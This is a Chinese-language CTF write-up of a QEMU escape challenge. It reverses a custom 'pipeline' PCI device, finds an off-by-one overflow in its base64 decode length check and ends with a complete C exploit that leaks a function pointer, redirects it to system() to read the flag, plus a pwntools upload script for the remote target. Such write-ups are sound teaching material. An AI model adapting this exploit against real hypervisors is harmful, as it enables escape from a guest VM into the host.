第一次在比赛中做出QEMU赛题,难度不大,6解,800分。漏洞点为:在目标代码进行base64解码时,数据长度限制由于除法忽略小数点后数据,进而产生的单字节溢出。溢出可以覆盖掉题目中的关键数据结构的size成员(
PipeLineState.decPipe[3].size
),进而可以越界读写题目中的函数指针,完成地址信息泄露以及控制流劫持。并且通过此函数指针可以简单的完成system(cmd)的调用,最终读取flag。
准备
前期知识:QEMU 逃逸 潦草笔记
确认题目qemu有符号,分析应该不难:
➜ file qemu-system-x86_64
qemu-system-x86_64: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped
删掉启动脚本中的timeout让程序正常启动:
#!/bin/bash
./qemu-system-x86_64 \
-m 1G \
-initrd ./rootfs.cpio \
-nographic \
-kernel ./vmlinuz-5.0.5-generic \
-L pc-bios/ \
-append "priority=low console=ttyS0" \
-monitor /dev/null \
-device pipeline
cpio解包与打包:
➜ mkdir rootfs; cd rootfs
➜ cpio -idvm < ../rootfs.img
➜ find . | cpio -H newc -o > ../rootfs.cpio
逆向
目标设备为pipeline,并且qemu有符号,所以直接在IDA中搜索pipeline函数,发现本题mmio和pmio都有实现,所以主要关注以下四个函数:
- pipeline_mmio_read
- pipeline_mmio_write
- pipeline_pmio_read
- pipeline_pmio_write
虽然有符号,但对于以上四个函数的第一个参数的类型,仍然没有自动识别,因此需要手工转换opaque参数的类型为PipeLineState,方法如下:
转换完参数类型后,结果如下:
uint64_t __cdecl pipeline_mmio_read(PipeLineState *opaque, hwaddr addr, unsigned int size)
{
__int64 v4; // rdx
unsigned int sizea; // [rsp+0h] [rbp-34h]
int pIdx; // [rsp+20h] [rbp-14h]
pIdx = opaque->pIdx;
if ( (unsigned int)pIdx >= 8 )
return -1LL;
if ( size != 1 )
return -1LL;
if ( pIdx > 3 )
{
sizea = *(_DWORD *)&opaque->encPipe[1].data[68 * pIdx + 12];
v4 = 68LL * (pIdx - 4) + 3152;
}
else
{
sizea = opaque->encPipe[pIdx].size;
v4 = 96LL * pIdx + 2768;
}
if ( addr < sizea )
return *((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);
else
return -1LL;
}
不过识别的代码中仍然有令人费解的部分,比如:
*((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);
因为按道理这些功能代码应该读写opaque变量中的自定义数据,不应该使用什么pdev.qdev,所以需要进行分析。以上四个函数操作的数据主要操作的数据就是opaque变量,其结构体为PipeLineState,可以在IDA的Structures窗口中找到:
00000000 PipeLineState struc ; (sizeof=0xD80, align=0x10, copyof_2451)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009E0 pmio MemoryRegion_0 ?
00000AD0 pIdx dd ?
00000AD4 encPipe EncPipeLine 4 dup(?)
00000C54 decPipe DecPipeLine 4 dup(?)
00000D64 db ? ; undefined
00000D65 db ? ; undefined
00000D66 db ? ; undefined
00000D67 db ? ; undefined
00000D68 encode dq ? ; offset
00000D70 decode dq ? ; offset
00000D78 strlen dq ? ; offset
00000D80 PipeLineState ends
经过分析pdev.qdev.parent_obj.free其实就是加8的偏移,所以这个令人费解的代码:
*((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);
其实就是:
*((char *)&opaque + 8 + v4 + addr);
另外在pipeline_pmio_write有函数指针调用,其初始化在pipeline_instance_init函数中:
void __cdecl pipeline_instance_init(Object_0 *obj)
{
int i; // [rsp+14h] [rbp-Ch]
PipeLineState *state; // [rsp+18h] [rbp-8h]
...
state->encode = (int (*)(char *, char *, int))pipe_encode;
state->decode = (int (*)(char *, char *, int))pipe_decode;
state->strlen = (int (*)(char *))&strlen;
...
}
经过逆向分析结构体中主要的数据结构为decPipe[4]
和encPipe[4]
,其结构如下:
00000000 EncPipeLine struc ; (sizeof=0x60, align=0x4, copyof_2449)
00000000 ; XREF: PipeLineState/r
00000000 size dd ?
00000004 data db 92 dup(?)
00000060 EncPipeLine ends
00000000 DecPipeLine struc ; (sizeof=0x44, align=0x4, copyof_2450)
00000000 ; XREF: PipeLineState/r
00000000 size dd ?
00000004 data db 64 dup(?)
00000044 DecPipeLine ends
函数主要功能如下:
- pipeline_mmio_read: 读encPipe/decPipe中data
- pipeline_mmio_write:写encPipe/decPipe中data
- pipeline_pmio_read: 0->读pIdx,4->读pIdx对应的size
- pipeline_pmio_write:0->写pIdx,4->写pIdx对应的size,12->b64encode,16->b64decode
编解码会在encPipe[4]
和decPipe[4]
数组中对应的来回倒腾,所以主要是个base64编解码的功能,使用功能如下:
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio;
int port_base = 0xc040;
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
void write_block(int idx,int size,int offset, char * data){
pmio_write(0,idx); pmio_write(4,size);
for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}
void read_block(int idx,int size,int offset, char * data){
pmio_write(0,idx);
for(int i=0;i<size;i++){ data[i] = mmio_read(i+offset);}
}
int main(){
// init mmio and pmio
iopl(3);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
char b64e[] = "eHVhbnh1YW4=";
char data[100] = {0};
write_block(2,0x5c,0,b64e);
pmio_write(16,0); // b64decode block 2 to block 6
read_block(6,8,0,data);
printf("[+] %s\n",data);
return 0;
}
编译,打包进文件系统,并执行,成功进行base64解码:
➜ gcc -static test.c -o test
➜ find . | cpio -H newc -o > ../rootfs.cpio
➜ cd .. ; ./launch.sh
/ # ./test
[+] xuanxuan
调试
主要目的还是看PipeLineState中数据的情况,可以把断点打在mmio或者pmio的任意函数上,然后通过第一个参数(rdi)得到,示例交互,调用pmio_write:
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio;
int port_base = 0xc040;
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
int main(){
iopl(3);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
pmio_write(0,1);
return 0;
}
编译,打包进文件系统,并执行:
➜ gcc -static test.c -o test
➜ find . | cpio -H newc -o > ../rootfs.cpio
➜ cd .. ; ./launch.sh
gdb挂上qemu进程并把断点打在pipeline_pmio_write函数上:
➜ ps -ef | grep qemu
xuan 8956 8955 30 22:20 pts/0 00:00:06 ./qemu-system-x86_64
➜ sudo gdb --pid 8956
gef➤ b pipeline_pmio_write
Breakpoint 1 at 0x5650321e1d34: file ../hw/pci/pipeline.c, line 146.
gef➤ c
虚拟机里执行测试代码:
/ # ./text
断点断下,查看rdi寄存器,然后即可查看PipeLineState结构体:
gef➤ i r rdi
rdi 0x565035a20f80 0x565035a20f80
gef➤ p *((PipeLineState *)(0x565035a20f80))
也可以单独查看结构体中的成员:
gef➤ set $a = *((PipeLineState *)(0x565035a20f80))
gef➤ p /x $a.encPipe
$2 = {\{
size = 0x0,
data = {0x0 <repeats 92 times>}
}, {
size = 0x0,
data = {0x0 <repeats 92 times>}
}, {
size = 0x0,
data = {0x0 <repeats 92 times>}
}, {
size = 0x0,
data = {0x0 <repeats 92 times>}
}\}
也可以查看结构体中成员的地址:
gef➤ p /x &((PipeLineState *)(0x565035a20f80)).encode
$26 = 0x565035a21ce8
gef➤ x /20gx 0x565035a21ce8
0x565035a21ce8: 0x00005650321e24f3 0x00005650321e21bb
0x565035a21cf8: 0x00007f8bb5c59450 0x0000000000000000
0x565035a21d08: 0x0000000000000061 0x0000565035a20f10
0x565035a21d18: 0x0000565035a20f30 0x0000000000000000
0x565035a21d28: 0x0000565032650105 0x0000000000000000
0x565035a21d38: 0x0000565032650183 0x0000565032650199
0x565035a21d48: 0x0000000000000000 0x0000565035a20f80
0x565035a21d58: 0x0000000000000000 0x0000000000000000
0x565035a21d68: 0x0000000000000061 0x0000565035a20bb0
0x565035a21d78: 0x0000565035a21dd0 0x0000000000000000
漏洞
这个漏洞还是看了一会的,不过结合base64编解码的功能来看,最可能得漏洞点应该出在base64解码的位置,原因有二:
- 对变长数据编解码的处理容易产生溢出读写
- 考虑利用的可能性,解码后的数据没有字符限制,更可以利用
最终漏洞的确出现在pipeline_pmio_write中对base64解码处理的过程中:
void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
unsigned int sizea; // [rsp+4h] [rbp-4Ch]
unsigned int sizeb; // [rsp+4h] [rbp-4Ch]
int pIdx; // [rsp+28h] [rbp-28h]
int pIdxa; // [rsp+28h] [rbp-28h]
int pIdxb; // [rsp+28h] [rbp-28h]
int useSize; // [rsp+2Ch] [rbp-24h]
int ret_s; // [rsp+34h] [rbp-1Ch]
int ret_sa; // [rsp+34h] [rbp-1Ch]
char *iData; // [rsp+40h] [rbp-10h]
if ( size == 4 )
{
...
else if ( addr == 16 ){
pIdxb = opaque->pIdx;
if ( (unsigned int)pIdxb <= 7 )
{
if ( pIdxb > 3 )
pIdxb -= 4;
sizeb = opaque->encPipe[pIdxb].size;
iData = (char *)opaque->encPipe[pIdxb].data;
if ( sizeb <= 0x5C )
{
if ( sizeb )
iData[sizeb] = 0;
useSize = opaque->strlen(iData);
if ( 3 * (useSize / 4) + 1 <= 0x40 )
{
ret_sa = opaque->decode(iData, (char *)opaque->decPipe[pIdxb].data, useSize);
if ( ret_sa != -1 )
opaque->decPipe[pIdxb].size = ret_sa;
...
其opaque->decode调用的pipe_decode函数,不处理第三个size参数,所以解码过程,是直到扫描到输入字符串的空字符才结束。虽然useSize也是使用strlen进行了判断:
3 * (useSize / 4) + 1 <= 0x40
这里判断的标准边界应为((0x40 - 1)/3)*4 == 84
,但是因为c语言整型的除法,84 到 87 这四个整数,都可以满足本判断,而size为87即可在解码时溢出后续数据。使用0xff进行base64编码作为测试数据,这样在解码后得到的溢出字符为0xff,如果后续溢出size,0xff位最大值:
>>> from pwn import *
>>> b64e(b'\xff\xff\xff')
'////'
测试代码如下:
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio;
int port_base = 0xc040;
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
void write_block(int idx,int size,int offset, char * data){
pmio_write(0,idx); pmio_write(4,size);
for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}
int main(){
// init mmio and pmio
iopl(3);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
// write '/'*87 to block 2
char data[100];
memset(data,0,100);
memset(data,'/',87);
write_block(2,0x5c,0,data);
// decode block 2 to block 6, it will overflow block 7 size
pmio_write(16,0);
return 0;
}
调试可见PipeLineState.decPipe[3].size
确实被溢出了:
gef➤ b pipeline_pmio_write
gef➤ i r rdi
rdi 0x55ece5dd4f80 0x55ece5dd4f80
gef➤ p /x *((PipeLineState *)(0x55ece5dd4f80))
decPipe = {\{
size = 0x0,
data = {0x0 <repeats 64 times>}
}, {
size = 0x0,
data = {0x0 <repeats 64 times>}
}, {
size = 0x0,
data = {0xff <repeats 64 times>}
}, {
size = 0xff,
data = {0x0 <repeats 64 times>}
}\},
encode = 0x55ece3c634f3,
decode = 0x55ece3c631bb,
strlen = 0x7f8a9b4fc450
利用
利用方法就很明显了,溢出写PipeLineState.decPipe[3].size
后,即可使用mmio_read/mmio_write越界读写PipeLineState.decPipe[3].data
后续的函数指针,完成地址信息泄露以及控制流劫持。
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio;
int port_base = 0xc040;
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
void write_block(int idx,int size,int offset, char * data){
pmio_write(0,idx); pmio_write(4,size);
for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}
void read_block(int idx,int size,int offset, char * data){
pmio_write(0,idx);
for(int i=0;i<size;i++){ data[i] = mmio_read(i+offset);}
}
int main(){
// init mmio and pmio
iopl(3);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
// write '/'*87 to block 2
char data[100];
memset(data,0,100);
memset(data,'/',87);
write_block(2,0x5c,0,data);
// decode block 2 to block 6, it will overflow block 7 size
pmio_write(16,0);
// out of bound read block 7 (offset 0x44), leak encode function ptr
char leak[0x10];
read_block(7,8,0x44,leak);
long long base = *((long long *)leak)-0x3404F3;
long long sys = base + 0x2C0AD0;
printf("[+] base: 0x%llx \n",base);
printf("[+] system: 0x%llx \n",sys);
// out of bound write block 7 (offset 0x44), overwrite encode function ptr to system ptr
write_block(7,0x5c,0x44,(char *)(&sys));
// write cmd to block 4
char cmd[] = "cat /flag ; gnome-calculator ;\x00";
write_block(4,0x30,0,cmd);
// trigger encode(block 4) to system(cmd)
pmio_write(12,0);
return 0;
}
本地成功弹计算器:
攻击远程可使用musl libc减小体积,下载x86_64的本地版本https://musl.cc/x86_64-linux-musl-native.tgz,然后直接编译即可:
➜ ../../x86_64-linux-musl-native/bin/x86_64-linux-musl-gcc --static ./exp.c -o exp
➜ ../../x86_64-linux-musl-native/bin/strip ./exp
➜ ls -al ./exp
-rwxr-xr-x 1 xuanxuan staff 22616 9 18 01:59 ./exp
还是之前python2的上传脚本…
from pwn import *
context(log_level='debug')
io = remote("172.35.7.30",9999)
#io = process("./launch.sh")
def exec_cmd(cmd):
io.sendline(cmd)
io.recvuntil("/ #")
def upload():
p = log.progress("Upload")
with open("./exp", "rb") as f:
data = f.read()
encoded = base64.b64encode(data)
io.recvuntil("/ #")
for i in range(0, len(encoded), 600):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> /home/ctf/benc" % (encoded[i:i+600]))
exec_cmd("cat /home/ctf/benc | base64 -d > /home/ctf/bout")
exec_cmd("chmod +x /home/ctf/bout")
exec_cmd("/home/ctf/bout")
upload()
io.interactive()